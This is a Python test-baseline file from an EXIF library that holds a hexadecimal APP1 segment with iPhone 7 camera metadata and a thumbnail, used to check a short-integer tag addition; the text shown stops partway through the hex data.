from torch.utils.data import (DataLoader, RandomSampler, TensorDataset)
class BertOrg():
def __init__(self, args):
self.args = args
self.model = BertForQuAC.from_pretrained(self.args.model_name_or_path)
self.QA_history = []
torch.manual_seed(args.seed)
self.device = torch.device("cuda" if torch.cuda.is_available()
and not args.no_cuda else "cpu")
self.model = self.model.to(self.device)
def tokenizer(self):
tokenizer = AutoTokenizer.from_pretrained(
self.args.model_name_or_path, do_lower_case=self.args.do_lower_case)
return tokenizer
def load_partial_examples(self, partial_eval_examples_file):
paragraphs = read_partial_quac_examples_extern(partial_eval_examples_file)
return paragraphs
def predict_one_automatic_turn(self, partial_example, unique_id, example_idx, tokenizer):
question = partial_example.question_text
turn = int(partial_example.qas_id.split("#")[1])
example = read_one_quac_example_extern(partial_example, self.QA_history, history_len=2, add_QA_tag=False)
curr_eval_features, next_unique_id= convert_one_example_to_features(example=example, unique_id=unique_id, example_index=example_idx, tokenizer=tokenizer, max_seq_length=self.args.max_seq_length,
doc_stride=self.args.doc_stride, max_query_length=self.args.max_query_length)
all_input_ids = torch.tensor([f.input_ids for f in curr_eval_features],
dtype=torch.long)
all_input_mask = torch.tensor([f.input_mask for f in curr_eval_features],
dtype=torch.long)
all_segment_ids = torch.tensor([f.segment_ids for f in curr_eval_features],
dtype=torch.long)
all_feature_index = torch.arange(all_input_ids.size(0),
dtype=torch.long)
eval_data = TensorDataset(all_input_ids, all_input_mask,
all_segment_ids, all_feature_index)
# Run prediction for full data
eval_dataloader = DataLoader(eval_data,
sampler=None,
batch_size=1)
curr_results = []
# Run prediction for current example
for input_ids, input_mask, segment_ids, feature_indices in eval_dataloader:
input_ids = input_ids.to(self.device)
input_mask = input_mask.to(self.device)
segment_ids = segment_ids.to(self.device)
print(type(input_ids[0]), type(input_mask[0]), type(segment_ids[0]))
# Assume the logits are a list of one item
with torch.no_grad():
batch_start_logits, batch_end_logits, batch_yes_logits, batch_no_logits, batch_unk_logits = self.model(
input_ids, segment_ids, input_mask)
for i, feature_index in enumerate(feature_indices):
start_logits = batch_start_logits[i].detach().cpu().tolist()
end_logits = batch_end_logits[i].detach().cpu().tolist()
yes_logits = batch_yes_logits[i].detach().cpu().tolist()
no_logits = batch_no_logits[i].detach().cpu().tolist()
unk_logits = batch_unk_logits[i].detach().cpu().tolist()
eval_feature = curr_eval_features[feature_index.item()]
unique_id = int(eval_feature.unique_id)
curr_results.append(
RawResult(unique_id=unique_id,
start_logits=start_logits,
end_logits=end_logits,
yes_logits=yes_logits,
no_logits=no_logits,
unk_logits=unk_logits))
predicted_answer = recover_predicted_answer(
example=example, features=curr_eval_features, results=curr_results, tokenizer=tokenizer, n_best_size=self.args.n_best_size, max_answer_length=self.args.max_answer_length,
do_lower_case=self.args.do_lower_case, verbose_logging=self.args.verbose_logging)
self.QA_history.append((turn, question, (predicted_answer, None, None)))
return predicted_answer, next_unique_id
class RobertaOrg():
def __init__(self, args, device):
self.args = args
self.model = RobertaForQuAC.from_pretrained(self.args.model_name_or_path)
self.QA_history = []
self.device = device
def tokenizer(self):
tokenizer = AutoTokenizer.from_pretrained(
self.args.model_name_or_path, do_lower_case=self.args.do_lower_case)
return tokenizer
def load_partial_examples(self, cached_partial_eval_examples_file):
paragraphs = read_partial_quac_examples_extern(cached_partial_eval_examples_file)
return paragraphs
def predict_one_human_turn(self, paragraph, question):
return
def predict_one_automatic_turn(self, partial_example, unique_id, example_idx, tokenizer):
question = partial_example.question_text
turn = int(partial_example.qas_id.split("#")[1])
example = read_one_quac_example_extern(partial_example, self.QA_history, history_len=2, add_QA_tag=False)
curr_eval_features, next_unique_id= convert_one_example_to_features(example=example, unique_id=unique_id, example_index=example_idx, tokenizer=tokenizer, max_seq_length=self.args.max_seq_length,
doc_stride=self.args.doc_stride, max_query_length=self.args.max_query_length)
all_input_ids = torch.tensor([f.input_ids for f in curr_eval_features],
dtype=torch.long)
all_input_mask = torch.tensor([f.input_mask for f in curr_eval_features],
dtype=torch.long)
all_segment_ids = torch.tensor([f.segment_ids for f in curr_eval_features],
dtype=torch.long)
all_feature_index = torch.arange(all_input_ids.size(0),
dtype=torch.long)
eval_data = TensorDataset(all_input_ids, all_input_mask,
all_segment_ids, all_feature_index)
# Run prediction for full data
eval_dataloader = DataLoader(eval_data,
sampler=None,
batch_size=1)
curr_results = []
# Run prediction for current example
for input_ids, input_mask, segment_ids, feature_indices in eval_dataloader:
input_ids = input_ids.to(self.device)
input_mask = input_mask.to(self.device)
segment_ids = segment_ids.to(self.device)
# Assume the logits are a list of one item
with torch.no_grad():
batch_start_logits, batch_end_logits, batch_yes_logits, batch_no_logits, batch_unk_logits = self.model(
input_ids, segment_ids, input_mask)
for i, feature_index in enumerate(feature_indices):
start_logits = batch_start_logits[i].detach().cpu().tolist()
end_logits = batch_end_logits[i].detach().cpu().tolist()
yes_logits = batch_yes_logits[i].detach().cpu().tolist()
no_logits = batch_no_logits[i].detach().cpu().tolist()
unk_logits = batch_unk_logits[i].detach().cpu().tolist()
eval_feature = curr_eval_features[feature_index.item()]
unique_id = int(eval_feature.unique_id)
curr_results.append(
RawResult(unique_id=unique_id,
start_logits=start_logits,
end_logits=end_logits,
yes_logits=yes_logits,
no_logits=no_logits,
unk_logits=unk_logits))
predicted_answer = recover_predicted_answer(
example=example, features=curr_eval_features, results=curr_results, n_best_size=self.args.n_best_size, max_answer_length=self.args.max_answer_length,
do_lower_case=self.args.do_lower_case, verbose_logging=self.args.verbose_logging)
self.QA_history.append((turn, question, (predicted_answer, None, None)))
return predicted_answer, next_unique_id
| 56.948718
| 202
| 0.638113
| 1,085
| 8,884
| 4.850691
| 0.136406
| 0.036481
| 0.036481
| 0.030401
| 0.884097
| 0.858636
| 0.858636
| 0.858636
| 0.858636
| 0.841345
| 0
| 0.001729
| 0.283994
| 8,884
| 156
| 203
| 56.948718
| 0.825656
| 0.023525
| 0
| 0.791045
| 0
| 0
| 0.001038
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.067164
| false
| 0
| 0.059701
| 0.007463
| 0.19403
| 0.007463
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c3b8a4bf9b9ecd18a9cf1f4c678a66939d41f28f
| 101
|
py
|
Python
|
src/cvss/utils.py
|
PEASEC/OVANA
|
aa05091ebd63868010adbfb4a7e2a64376689aa1
|
[
"0BSD"
] | 2
|
2021-05-26T12:49:13.000Z
|
2021-09-17T11:34:50.000Z
|
src/cvss/utils.py
|
PEASEC/OVANA
|
aa05091ebd63868010adbfb4a7e2a64376689aa1
|
[
"0BSD"
] | null | null | null |
src/cvss/utils.py
|
PEASEC/OVANA
|
aa05091ebd63868010adbfb4a7e2a64376689aa1
|
[
"0BSD"
] | null | null | null |
import enum
def get_enum_first_char(enum_entry: enum):
return str(enum_entry).split('.')[1][0]
| 16.833333
| 43
| 0.712871
| 17
| 101
| 3.941176
| 0.705882
| 0.268657
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022727
| 0.128713
| 101
| 5
| 44
| 20.2
| 0.738636
| 0
| 0
| 0
| 0
| 0
| 0.009901
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
617ac234e5c234d3e374c31e7cb2b48b13c6f065
| 25,204
|
py
|
Python
|
tests/add_exif_baselines/add_short.py
|
TNThieding/exif
|
2e59701aec7416fbb3b2db76e7d090f166f1f132
|
[
"MIT"
] | 51
|
2018-12-28T19:48:40.000Z
|
2021-12-10T00:35:41.000Z
|
tests/add_exif_baselines/add_short.py
|
TNThieding/exif
|
2e59701aec7416fbb3b2db76e7d090f166f1f132
|
[
"MIT"
] | 33
|
2019-02-08T10:15:25.000Z
|
2022-02-11T18:37:45.000Z
|
tests/add_exif_baselines/add_short.py
|
TNThieding/exif
|
2e59701aec7416fbb3b2db76e7d090f166f1f132
|
[
"MIT"
] | 11
|
2019-10-24T14:03:02.000Z
|
2020-12-10T04:07:20.000Z
|
"""APP1 segment hexadecimal baseline for test_add_short in test_add module."""
from baseline import Baseline
ADD_SHORT_BASELINE = Baseline(
"""
FFE12C344578696600004D4D002A00000008000C010F0002000000060000009E0110000200000009000000A401
1200030000000100010000011A000500000001000000AD011B000500000001000000B501280003000000010002
00000131000200000007000000BD0132000200000014000000C402130003000000010001000087690004000000
01000008E488250004000000010000177EEA1C00070000080C000000D8000018C04170706C65006950686F6E65
2037000000004800000001000000480000000131322E312E3400323031393A30333A32362031393A33333A3437
001CEA000000080000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000025829A0005000000
0100000AA6829D00050000000100000AAE88220003000000010002000088270003000000010014000090000007
0000000430323231900300020000001400000AB6900400020000001400000ACA91010007000000040102031892
01000A0000000100000ADE920200050000000100000AE69203000A0000000100000AEE9204000A000000010000
0AF6920700030000000100050000920900030000000100180000920A00050000000100000AFE92140003000000
0400000AEE927C0007000003FA00001384929100020000000330300000929200020000000330300000A0000007
0000000430313030A001000300000001FFFF0000A00200040000000100000FC0A00300040000000100000BD0A2
1700030000000100020000A30100070000000101000018A40200030000000100000000A4030003000000010000
0000A405000300000001001C0000A40600030000000100000000A42000020000002100000B0EA4320005000000
0400000B2FA43300020000000600000B4FA43400020000002200000B55EA1C00070000080C00000B77EA1D0009
000000010000103C920800030000000100010000A4080003000000010000000000000000000000010000044000
00000900000005323031393A30333A32362031393A33333A343700323031393A30333A32362031393A33333A34
37000000FA6B000018D30000D62700007E450000CA7F0000156300000000000000010000018F0000006407DF05
E708A90532663938363763666336323337336235653030303030303030303030303030303000003FD5DF000FFF
B5003FD5DF000FFFB5000000090000000500000009000000054170706C65006950686F6E652037206261636B20
63616D65726120332E39396D6D20662F312E38001CEA0000000800000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000004170706C6520694F530000014D4D001500010009000000010000000A000200070000
022E0000011000030007000000680000033E0004000900000001000000010005000900000001000000BB000600
0900000001000000BC0007000900000001000000010008000A00000003000003A6000C000A00000002000003BE
000D00090000000100000031000E00090000000100000004001000090000000100000001001400090000000100
000001001600020000001D000003CE001700090000000100000000001900090000000100000000001A00020000
0006000003EB001F00090000000100000000002500090000000100000000002600090000000100000000002700
0A00000001000003F10000000062706C69737430304F110200BD00C800D500E300F00000010F01200134011801
EB00E10003010101DB00A100CD00DB00EA00FA000A0118012801440158011001DA00C500C600AB0078007200E0
00EE00FD0010012601420157015C016A011401FD00BB0080006F00AD000801F300050115012501390151018501
9F0168010601F700B1009200DA000601CA000101150124012E0123010C011D018401A1014E0158017401AD013B
01E900D30006011B012B011501BF009E00F30034014A01BB01FB01F0012101CB00CE00B600D600F80014012A01
39011B0139013C019B013102F2038404C502A00170013E0182009100A300B600C700DA00F10013013E01A20124
037704320239011901E80047004F0059005E005D0061006600710073008000B800210194006700580050004700
52005100510055005B005E0075006A007E00AE005E0181006500610049002D0038003700380034003B00420051
0050005E007E00E2007A006700650062002F0042004B0051004B004C005B006B006F007500A100A30172005800
520053004100490049005700590057005E00640065005A008100C900880063005900570039003C00400042003D
003A003A00460051005A007A00DC0064005D004B00380034003A00410041003F0042004600510056004A004B00
62004B003A002D002700350037003B003700390042004800460041003B00410038002E00290024002200000800
0000000000020100000000000000010000000000000000000000000000020C62706C6973743030D40102030405
06070855666C6167735576616C75655974696D657363616C655565706F636810011300031EDE27D7566E123B9A
CA0010000811171D272D2F383D000000000000010100000000000000090000000000000000000000000000003F
FFFF9539000069A7FFFFED3300045694000006D800021775000000DD00000100000000C70000010041546B512B
56674D6476527832635A47382B713971386C77544E432F00713832357300000000000000000100001000000001
000000040202000000010002000000024E00000000020005000000030000184400030002000000025700000000
040005000000030000185C00050001000000010000000000060005000000010000187400070005000000030000
187C000C0002000000024B000000000D0005000000010000189400100002000000024D00000000110005000000
010000189C00170002000000024D0000000018000500000001000018A4001D00020000000B000018AC001F0005
00000001000018B7000000000000001B0000000100000031000000010000037500000064000000520000000100
0000310000000100000D3D00000064000100C30000FB89000000170000000100000021000000010000002F0000
00010000000000000001000AF09E00000A75000AF09E00000A75323031393A30333A3236000000000500000001
000006010300030000000100060000011A0005000000010000190E011B00050000000100001916012800030000
00010002000002010004000000010000191E02020004000000010000130D000000000000004800000001000000
4800000001FFD8FFE000104A46494600010100000100010000FFDB004300050304040403050404040505050607
0C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E24
1C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E
1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC0001108007800A00301220002110103
1101FFC4001C0000010501010100000000000000000000040002030506070801FFC4003E100002010302030505
05050803010000000102030004110512062131134151617114228191A1073252B1C115232442D1253443536273
C2E133357283FFC4001A010003010101010000000000000000000002030401000506FFC4003011000201030104
09040203000000000000000102031121040512319113142232414252618151A1B1F0C1E182D1F1FFDA000C0301
0002110311003F00A358B3DD53C76F9EEA263868948BCAABB92581120C7754C90F2E946470D109079566F23520
0580F8548B6FE22AC92DEA416C0F7563985BACAF4B42C474EB4F16839E48DC3BAAC3B020731914E108C83B7978
D03930D58AC36A7A8156DA22DC24C4C52246DB48E670314961CFBBB4E4D1496EC8417808EECD2AA3525663295E
32BA1B73650C5621D2626E777EF10FDD3E942AA5EE9B224B6D344B25D295298CB01DC7CAAC64565DB220DA40C1
3E22A9B55748206ED646257EEAA2E49CD27771DAC8FE93B5D9C1F145F1667F6D60F8C673D3CB155BA969B34682
313C726EE6EC1C103C2A2D5408562315D240D38C077383E7F1AAD892EAD2F7104B1DC4AA4300E432FC7C6BAEA2
AE91B694DD9BB97E746BC9F488608E589083927773C7A55CE8D6A6DED8C0F7210A0FB88B92E7CCD0D6DAD5D5D3
19AF62B68E08A32EE54E37608E42A0B3D58493BC9346C173951C9474F0FD4D72ED714736E1749855ED9C61CBC9
9DCE72403CA9C238D2018271DC5AAA759E23D22DEC645B89E58C9E65D70C079023BEB0D79C6D692878608EE8E4
7B923B02E0F90E805509D895A723A0EB6F6F0C4893BAA0906EC3305CAFFDD67CDEDB88C95B7B445C9197997963
E35CBF509EEEEE724DC492F3E5B9B352E9DA05E5ECCB24C42445BDE6638A0E96D9931BD0DFBA8EBD1414547079
513141E545470795774827700E382898E2F2A32383CAA75B71E15DD2A3B700D21A223801EEA252D8F70A9A381C
74427D0503A882506411DB2B7238A7B58FBBB8303E58A312223EF2B2FA8A9E25E783F3353CEBDB832AA746F868
023B710832611D09C21603AFA7853AD5BB577596DD95CFDD0C460FD6AE8C3BA1D855714C9615EC937264A9EF51
D2A27A96D64BD69D276457DFB4F300F3DB8C2AED1B10F2F2AC5EA526FBAEC56E9A2916500F69855C1E7D0024D6
A35DBF8211BD8AAB63902C718AC66A7ACDBADC767D9ACEE0F20137601EBCF1451AAED6473A6AFBCEED82EA3A04
D73A86F69A02BB1992101B693D0E0E3E35450437168D74BD82E778DAD90001F1F315A89AFAFEE0896D2DD82E30
3DC008ACD6B126A5B1A370A368C80225E5F13450ACEF66C29D156C44A5D575D962DEE2E55D9BDC3BA43EBDDDD5
96D4753B9B995F12B10FFEB279558DD5ADDDD4BB442D2313CB0D9FCA8CD1B87EEE7B85865B578413CDBB227155
2AD18AE248E84A4F819E8A1BEBD1B44ACDB3B89E9E95A0E1BE01E20D626DD159BB46065DD9C2AA8F33FA574DD0
B8634AE19B66D46FAF23BF99BEE44210C63F3C66AD2EF89EF7B18E1D377C6A57202E9E1467CCB3003E54996AA5
2EE736323A6847BD9286D38174ED16D4CB3E9E6EEE800000DB914FE64D57EAF7BC3B6D6E45F35F76839F630C20
0F21EF62AD24D4B5AD6AF1AC23D4A7314836CA42AC4231DE4903BF9D0D2E9FC3FA64AEAD78ED7231FC4DC46762
63F0F8FC6854DDB2EECD70CF0B236714001E944C70F4E54A0962233B851713447BC54DD6C0EA8C62442A658B02
A74ECFC454A0467C3E759D71237AA304385193C8557DE6BDA559E44F7D021F02DCEAE2E6D21B88CA3E707C2B2F
AD702D8DE92D1C8F131EA719AE8EB69B7DA61F529F8035E71E6850839BA593CB61AAB97ED3B4A8DB1186201E5B
57154FAEFD9FC56397115E5CA8E65A35A0F46D03484900BBD1EFE75FFE4AD39CE838DD6428D1AC9D9BB1B1D33E
D534B621674914789AD25A71EF0CDC273BF894F8329FE9596D3EC781A3F75F43D847F9B3827E59AB58ADB85E6C
25A6896EF9EB83D3E22A0AB5697A5FD8BE9D1A9EA45CDC71070D5C42713C126E18F756A95AE6C67BAD96D6718C
720DB541C51169A1F0E091A459ED60C7228C7DE5F9D5AE9DC3FC19752FBB31B86CE31DB1EBE5514F554E1C13E4
590D3CDF1657BAB411B76315BC3CB0CC645A162D1787A7767D5AE8480804AA0C9CFA8EEADDAF05E8817B4B6D33
7903EE98CBE4FC6A7B5E1F8A3B5F72D670EDFE1456AABB7D49150CB6943C2E3A30A76CB31DA6C5C01A4B99ED61
859D7987918B63E07A54D73AB6906491EDEFACAD51D4EE5E4A48C7507A53755E1B90CB28304F8279C61B19F2F7
456335EE1E956EC7F64DCA6FC6D8C8383E9CB35650AF46A3CBC83568CE2BB2C1E48F866EF5293D8E0BCD467249
50ABD3C3981444963AD5CCAD2DBDB2E98ACBB58B4AAF851E38E7F01501D1F8C62C4763A5CB6F17F2AC6800C799
EBF33513F05F1BDD1FDECC6107B9AE028E7E40D7A2B554D79D73B9E6CF4D27E57F82BB5E7D574D0E926B1198C0
FBCCA8A1BC82FDE23D6B097D7D71B984772E54927030057457FB31D40E5EF756B18FC4B4A4FE941B70169714A5
66E27D35478A9C9F953E9EB68AF1BFC099E96A3F0B7C8ED26F2FEDF0049291E1BF15A4B6D5E72A374AE9F2AE02
9ABEA0B8C6B6727A6650054E9ADDFEF0835E5DC4FF009E2A99E81CB3744F0DA308E2CCF44DBEB4131BE477F1E4
28F8B5CB46C02C41F35AF38C7AB6B6C711EAF249CFAA4A3F5A2A3D435F7538D56E15B38C6F53FA54D2D94DF987
ADAD4FD27A2C6A5698DC6451E79A905FDA9FF171E8F5E715BFE22CFF00EC2EB1E24AE2BE49A96BCAF81A95C7C7
6E7E58A53D8F27E71AB6C525E43D1D2DD44E06DBD9A3C7E061FA8AF893DB60892EA49477872BCFE95E72FDA7C4
40129A9B903A83B7957D6D6F5E49001A8CA73DFB472FA52A5B1A6F1BE3A3B668FA19E86963D065CEEB6B6573D5
822EEFCA9B1E9BA206DF8931D7024C0FA0AE06759E20550CDA8CC57D14548BC47AF05531EA6EC58F25C2934996
C8AC962A0E8ED6D3B7983FB1E898EDF406033656ED8EF23AD5BE973E956CC3D9E0B78F9E7DD515E619B8C75EB7
63BB5320E700344A0FC7344DAF1EF1426DDB7CA41E9FB94C1A86B6C4D435DFBFCB2C86D5D1CB0E2D72FF0067B3
B87AFE39D400D904E07856A6348DADF25B9F81AF19687F687C57132BA5EAE319DDD8AEDAE8561F69DC4AFC3CF7
4D7B0960D8DDD9A6318F5AF36969351A0A9272829A78E3C3EC79F5F67C7553DEA32B2F7FD6762E26BC82280C6C
EA8C4925B6F85739D5F57C48E06B1229032152019F404F7D734D57ED235CBE0DBAFAD49FC6A8A71EA2B1DACF1B
F174273ED564D19FBADD9A106B749B2753277935FBF07A3A7969F474AD36DBF64766596DEEE2CBEB3AAB03CFDE
7ECBF2155B7CB63090866D42E7777B492483E38615C3E5E3AE2E762C975647FF00C507EB433F1EF1512435D5A6
7FD95FEB5ECC3646A13EF7EF2133DA9A4F4BE5FD9D9E7B1D299A402180E064936EE7779737E755171A4E96F338
D86150010CB6836B790C926B934DF681C5601FDFDA9F4854FEB42B7DA1715FE2B63E900FEB55C3676A579BF791
34B6968DF95F2FEC82481A48B6C7A2EA5B8F52EEA3F4A162D36EF7606957A39F3FE200CFCCD524BAF6AD313D9C
7B14F550391A72DDEBB2A922D8173CB2179E3C315F4D93E4B068E3D2A77194D26F3D56F403F9D3A4D22F5D4C47
4ED432075F6E538FAD54DB6A3C4621ECBB26407967B3C11E59CD36EC6B0706EAFA38F90C090107E3CEB326E0B3
FD93A92280B0DEA267041BA8B97D2A71A2CAF26D28D1B81DF7C83E3F76A9923D49144B06A3691EDE5BA251BB9F
AE7341B36A43225D61C28EE2A4FF00C6B1DCD5634F06932059FB5906F03F74C3510406C8E6DEEF4C7877E2A29B
46BC9F282EED5CF7FF00127F303956652E238DC86D4EEDB03188E21FF545C4DA73819BFD5154F5C46C7E8050B4
C34D1A6D3F4C6B6758DAE74F52BFCBED2CE73E60D193E9763382A6E6D3B4EA444086CD66AC869104A989B59B82
DCBDC8D803E5CF1470B38260556CB588A1E470F71B3E80D2649FD47C64BE81A96B1C4FCB5B8A3452708223B8FC
CF5AB8D2602A37AEAF0E17AEE821C8F5C9AC936851B92D1E98CE739569A62377AE47E468CB7E188676513E9CB0
13FCDDA647CB6E6915629ACBFC14519B4F0BF2742B137CE02C5AEBA96EAB1C56C3E5DF5B94D2EF23E0CDD2F115
EE5A4CB446384AB633838504F95715B6E11D33B5D925F5A093BA3895998FC320D6EAC7ECC6EE4D2619AD2DEEAF
219104AACBB6255F107B4753CB1D40C1AF1B534A9DD76ADFE27B742B54B777EE51EB71C103113B4E2672485010
67E0173595BFBA489FB0B7D3E67527DFDD3AAAB0F4C75ABCBDE19B582F1D2E26B7450720060EDF46C50177A1DA
46E004B9738CE762A83F5AB683824B3724D4748DBC580469F612C7BE1499D88CF6467C9F860F3AAB9E558B3B34
FB87F5988FF955BC9A4DB95C8B7963DBD5A499540F8E2895D3B4FDB895212E067776A73F4156C676F720941BF6
31777780310D6371177FF7963419BC1D3B2C83D7339CD6E2FAC34F5CB848401D581DDF99AA598E9C1D92256958
7744AA4FE54F84D3279D369E59422D6591B96AA71DDEF15CD1B6BA5DC390BFB6590FE1F68E7F9D5926A0CB2113
6956EE7B829CB9FA54904F72EC4C7C361477BE1462A9BB22B055970E4A630EFA9DDCCB8E6236CFD7346C5A2E95
12EE9AE65590F7484E48F520D558B8B9490767A63A38E409B876FA0E5538FDAF3F398EA48BF8215118F99E7436
97D4D562EE2D234B78F72C0B2AF52CD1B30FA8C50A6DB4E8E53ECDA55C48D9EAB0ED5FAD476F71D8A8FECAD527
61DF2DDE47D4D4EDAE4C83074CB88FFD22652714BC8C561B2594B2027F67A47FEE38C8F90E552DB58CC07BDECC
30790009FAD0536BEE4E0E9B7C796725971421E24BE4C343A64CE33C8175E5F2AC6A4C38EE2E26B22B191D54B3
C4D83CBA8DB44C760EE72D7080E7391CEB1D1F156A4E1C2E8372EE390264518FA54916BBC42D93FB2100EE6330
C8F0A43854288CE99A4934A0E77B5EB4873DEC47C3AD44FA7C05CF6D76EE17EEEE23231EB5452EA5C45236D169
650F2F78B4A5BE58A11E2D7EEDB64DA846800E5D9458340E13F190D8CE0B82B9B58F41D26670EDAC7B13050EB2
8ECD46075C9FD6B4B06ABC1BC31A5486F38BF56E20B8560CBA7DBB2189DF1C86FE7D3974C79572ED3B86A3BA3B
6FEF6E64527ABC842E7C2BA170F70EFD9B69B7ED717FAEA285446863B78D9DB7E39EE0A0E57A73F2E75E66A945
627272F64BF9B1E9D0949C77A3151F76FF0082A7581ABEA88DAAADC7ECE59C064B7052464523912C4723F91AC5
BD9EA2772CDADDFB927764BD6EF5BBBD1AE6E49D3F559CA16CFEF76951DDC9701BA557DC699A4C7121F6979377
7094E1BE14FD2CF762AF1B7B585EAE0A52C3BFC98C96CA175FE32E2F661DFB9CE3E4288874FD38A6D4D3E4940E
